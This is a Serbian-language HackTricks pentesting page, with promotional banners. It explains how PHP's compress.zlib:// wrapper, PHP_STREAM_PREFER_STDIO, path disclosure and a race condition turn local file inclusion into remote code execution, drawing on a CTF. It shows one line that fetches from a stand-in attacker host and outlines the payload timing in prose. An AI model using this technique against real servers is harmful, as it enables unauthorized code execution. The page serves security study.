hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
2024-02-10 13:11:20 +00:00

4.1 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

compress.zlib:// i PHP_STREAM_PREFER_STDIO

Fajl otvoren koristeći protokol compress.zlib:// sa zastavicom PHP_STREAM_PREFER_STDIO može nastaviti sa pisanjem podataka koji stižu kasnije na isti fajl.

Ovo znači da poziv kao što je:

file_get_contents("compress.zlib://http://attacker.com/file")

Poslaćemo zahtev za http://attacker.com/file, a zatim server može odgovoriti na zahtev sa validnim HTTP odgovorom, zadržati otvorenu vezu i kasnije poslati dodatne podatke koji će takođe biti upisani u datoteku.

Možete videti tu informaciju u delu koda php-src u main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Trkačka uslov za RCE

Ovaj CTF je rešen koristeći prethodnu prevaru.

Napadač će naterati žrtveni server da otvori vezu i čita fajl sa servera napadača koristeći protokol compress.zlib.

Dok ova veza postoji, napadač će izvući putanju do privremenog fajla koji je kreiran (koju je otkrio server).

Dok je veza još uvek otvorena, napadač će iskoristiti LFI učitavajući privremeni fajl koji kontroliše.

Međutim, postoji provera na veb serveru koja sprečava učitavanje fajlova koji sadrže <?. Zbog toga će napadač iskoristiti trkačku uslov. U vezi koja je još uvek otvorena, napadač će poslati PHP payload NAKON što je veb server proverio da li fajl sadrži zabranjene karaktere, ali PRE nego što učita njegov sadržaj.

Za više informacija pogledajte opis trkačke uslova i CTF na https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: